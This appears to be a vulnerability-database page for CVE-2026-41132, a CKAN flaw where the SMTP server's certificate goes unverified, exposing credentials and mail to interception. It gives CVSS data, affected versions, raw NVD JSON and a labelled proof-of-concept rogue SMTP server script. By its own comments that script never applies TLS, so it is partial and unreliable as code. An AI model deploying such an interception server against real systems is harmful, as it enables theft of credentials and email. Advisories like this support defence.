Security Vulnerability Report
中文
CVE-2026-41132 CVSS 7.4 HIGH

CVE-2026-41132

Published: 2026-05-13 19:17:22
Last Modified: 2026-05-15 14:57:58

Description

CKAN is an open-source DMS (data management system) for powering data hubs and data portals. Prior to 2.10.10 and 2.11.5, the configured SMTP server may be spoofed with any certificate (e.g. self-signed), leaving credentials and all emails sent open to MITM attacks. This vulnerability is fixed in 2.10.10 and 2.11.5.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:okfn:ckan:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:okfn:ckan:*:*:*:*:*:*:*:* - VULNERABLE
CKAN < 2.10.10
CKAN < 2.11.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept: Malicious SMTP Server with Self-Signed Certificate # This script simulates an attacker's SMTP server that CKAN would trust without verification. import socket import ssl import threading from smtpd import SMTPServer import asyncore import time class RogueSMTPServer(SMTPServer): def process_message(self, peer, mailfrom, rcpttos, data, **kwargs): print("[+] Intercepted Email:") print(f"From: {mailfrom}") print(f"To: {rcpttos}") print(f"Data: {data}") # In a real attack, data would be saved and/or forwarded to the real server return def start_rogue_server(): # Generate a self-signed cert/key first using: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) try: context.load_cert_chain(certfile="cert.pem", keyfile="key.pem") except FileNotFoundError: print("Please generate cert.pem and key.pem first.") return # Create a standard SMTP server server = RogueSMTPServer(('0.0.0.0', 25), None) # Wrap the socket with SSL (The vulnerability allows CKAN to connect to this) # Note: smtpd library doesn't directly support SSL wrapping easily in this snippet structure, # but conceptually we are presenting a TLS socket with a self-signed cert. # In practice, tools like mitmproxy or a custom Python socket implementation would be used. print("[*] Rogue SMTP Server listening on port 25 (SSL/TLS with self-signed cert)...") print("[*] If CKAN is vulnerable, it will connect and trust this certificate.") try: asyncore.loop() except KeyboardInterrupt: pass if __name__ == "__main__": start_rogue_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41132", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:21.553", "lastModified": "2026-05-15T14:57:57.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CKAN is an open-source DMS (data management system) for powering data hubs and data portals. Prior to 2.10.10 and 2.11.5, the configured SMTP server may be spoofed with any certificate (e.g. self-signed), leaving credentials and all emails sent open to MITM attacks. This vulnerability is fixed in 2.10.10 and 2.11.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:okfn:ckan:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.10", "matchCriteriaId": "67854247-8130-4ED6-BFC0-3221AD5B7E7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:okfn:ckan:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.11.0", "versionEndExcluding": "2.11.5", "matchCriteriaId": "A7DF9D70-4F27-4966-A66C-9E8147579BCA"}]}]}], "references": [{"url": "https://github.com/ckan/ckan/security/advisories/GHSA-mpfm-fpgx-647q", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}